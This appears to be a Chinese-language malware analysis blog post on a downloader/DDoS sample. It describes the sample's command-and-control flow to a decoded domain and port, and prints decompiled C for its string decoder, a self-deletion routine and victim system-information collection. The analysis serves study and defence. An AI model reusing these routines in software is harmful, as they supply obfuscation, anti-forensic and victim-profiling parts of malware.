By: DeathMemory
QQ: 123951548
前言
近期简单分析了一个下载者+DDos的病毒,还原了一些代码,把大家感兴趣的部分分享出来,仅供学习研究。大神请跳过。
病毒执行流程
整体流程
监控服务
服务开启后,病毒会循环尝试开启线程,获取系统信息,连接远程地址。
远程地址是 Base64(算法处理(URL:port)) -> 1NTUHdvi4NgKCh3V2tMJEhcQEEM=
解密后为:www.hack99.vip:1433
建立 socket 后就发送获取的系统信息,并开始接收返回命令。
根本返回执行相关指令,预置命令是 DDOS 相关代码。
代码还原
Base64 解密处理
int __cdecl customDecode(char *Str)
{
int len; // [sp+0h] [bp-Ch]@1
int i; // [sp+4h] [bp-8h]@1
int outBuff; // [sp+8h] [bp-4h]@1
outBuff = 0;
len = base64_decode(Str, &outBuff);
for ( i = 0; i < len; ++i )
{
*(i + outBuff) += 56;
*(i + outBuff) ^= 123u;
}
return outBuff;
}
自删除完整流程
signed int deleteSelf()
{
HMODULE hKERNEL32; // eax@1
HANDLE hProc; // eax@2
HANDLE hThread; // eax@2
signed int result; // eax@2
CHAR cmdPath[260]; // [sp+Ch] [bp-354h]@1
char cmdDeleteSelf[260]; // [sp+110h] [bp-250h]@1
CHAR Filename[260]; // [sp+214h] [bp-14Ch]@1
SHELLEXECUTEINFOA exeInfo; // [sp+318h] [bp-48h]@1
FARPROC lstrcatA; // [sp+354h] [bp-Ch]@1
char aOpen[5]; // [sp+358h] [bp-8h]@1
hKERNEL32 = LoadLibraryA("KERNEL32.dll");
lstrcatA = GetProcAddress(hKERNEL32, "lstrcatA");
Filename[0] = 0;
memset(&Filename[1], 0, 0x100u);
*&Filename[257] = 0;
Filename[259] = 0;
cmdPath[0] = 0;
memset(&cmdPath[1], 0, 0x100u);
*&cmdPath[257] = 0;
cmdPath[259] = 0;
cmdDeleteSelf[0] = 0;
memset(&cmdDeleteSelf[1], 0, 0x100u);
*&cmdDeleteSelf[257] = 0;
cmdDeleteSelf[259] = 0;
GetModuleFileNameA(0, Filename, 0x104u);
GetShortPathNameA(Filename, Filename, 0x104u);// 转换成短形式路径
GetEnvironmentVariableA("COMSPEC", cmdPath, 0x104u);// 从调用该函数的进程的环境变量中返回指定的变量名值的函数
// 获取 cmd 绝对路径
(lstrcatA)(cmdDeleteSelf, "/c del ");
(lstrcatA)(cmdDeleteSelf, Filename);
(lstrcatA)(cmdDeleteSelf, " > nul"); // 调用 cmd 删除自身
exeInfo.lpVerb = aOpen;
exeInfo.lpFile = cmdPath;
exeInfo.cbSize = 60;
exeInfo.hwnd = 0;
aOpen[0] = 79; // Open
aOpen[1] = 112;
aOpen[2] = 101;
aOpen[3] = 110;
aOpen[4] = 0;
exeInfo.lpParameters = cmdDeleteSelf;
exeInfo.lpDirectory = 0;
exeInfo.nShow = 0;
exeInfo.fMask = 0x40;
if ( ShellExecuteExA(&exeInfo) ) // 执行自删除
{
SetPriorityClass(exeInfo.hProcess, 0x40u); // IDLE_PRIORITY_CLASS 只有当系统空闲时再执行
hProc = GetCurrentProcess();
SetPriorityClass(hProc, 0x100u); // REALTIME_PRIORITY_CLASS
hThread = GetCurrentThread();
SetThreadPriority(hThread, 0xF); // THREAD_PRIORITY_TIME_CRITICAL 设置优先级
SHChangeNotify(4, 1u, Filename, 0);
result = 1;
}
else
{
result = 0;
}
return result;
}
系统信息收集
- 获取语言
使用GetSystemDefaultUILanguage
获取语言 - 获取 CPU Hz
通过注册表:"HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0"
的~MHz
读取其键值。 - 获取内存
使用GlobalMemoryStatusEx
API 获取 - 获取网卡配置和Ip地址信息
使用GetAdaptersInfo
循环获取网卡信息
lstrcpyA(regHardwareDes, "HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0");
if ( RegOpenKeyExA(HKEY_LOCAL_MACHINE, regHardwareDes, 0, KEY_ALL_ACCESS, &phkResult) )
{
Find_CPU_Error[0] = 70; // Find CPU Error
Find_CPU_Error[1] = 105;
Find_CPU_Error[2] = 110;
Find_CPU_Error[3] = 100;
Find_CPU_Error[4] = 32;
Find_CPU_Error[5] = 67;
Find_CPU_Error[6] = 80;
Find_CPU_Error[7] = 85;
Find_CPU_Error[8] = 32;
Find_CPU_Error[9] = 69;
Find_CPU_Error[10] = 114;
Find_CPU_Error[11] = 114;
Find_CPU_Error[12] = 111;
Find_CPU_Error[13] = 114;
Find_CPU_Error[14] = 0;
strcpy(storeBuff + 100, Find_CPU_Error);
}
else
{
Type = 4;
cbData = 200;
RegQueryValueExA(phkResult, "~MHz", 0, &Type, Data, &cbData);
(RegCloseKey)(phkResult);
GetSystemInfo(&SystemInfo);
memset(&Dst, 0, 0xAu);
MHz[0] = 77;
MHz[1] = 72;
MHz[2] = 122;
MHz[3] = 0;
sprintf(&Dst, "%d*%u%s", SystemInfo.dwNumberOfProcessors, *Data, MHz);
strcpy(storeBuff + 100, &Dst);
}
memStatus.dwLength = 64;
GlobalMemoryStatusEx(&memStatus);
mb = memStatus.ullTotalPhys / 1024 / 1024; // 获取内存
mb_p = mb + 1;
wsprintfA(storeBuff + 68, "%u MB", mb + 1, ((mb + 1) >> 32));
SizePointer = 0;
AdapterInfo = malloc(0x280u);
if ( GetAdaptersInfo(AdapterInfo, &SizePointer) == ERROR_BUFFER_OVERFLOW )
{
free(AdapterInfo);
AdapterInfo = malloc(SizePointer); // 如果内存不够则重新 malloc
}
if ( !GetAdaptersInfo(AdapterInfo, &SizePointer) )// 获取网卡配置和Ip地址信息
{
while ( AdapterInfo )
{
if ( strcmp(AdapterInfo->GatewayList.IpAddress.String, "0.0.0.0") )
{
pIfTable = 0;
pdwSize = 0;
v11 = 0;
sRes = GetIfTable(0, &pdwSize, 1);
if ( sRes == ERROR_INSUFFICIENT_BUFFER )
{
pIfTable = operator new(pdwSize);
if ( pIfTable )
{
sRes = GetIfTable(pIfTable, &pdwSize, 1);
if ( !sRes )
{
for ( i = 0; i < pIfTable->dwNumEntries; ++i )
{
if ( pIfTable->table[i].dwOperStatus
&& pIfTable->table[i].dwAdminStatus != IF_OPER_STATUS_DISCONNECTED
&& pIfTable->table[i].dwIndex == AdapterInfo->Index )
{
nSpeed = pIfTable->table[i].dwSpeed / 1000 / 1000;
if ( nSpeed < 1000 )
{
sprintf(&aSpeed, "%u Mbps", nSpeed);// 获取网速
strcpy(storeBuff + 132, &aSpeed);
}
else
{
sprintf(&aSpeed, "%u Gbps", nSpeed / 0x3E8);
strcpy(storeBuff + 132, &aSpeed);
}
}
}
}
operator delete(pIfTable);
}
}
}
AdapterInfo = AdapterInfo->Next;
}
}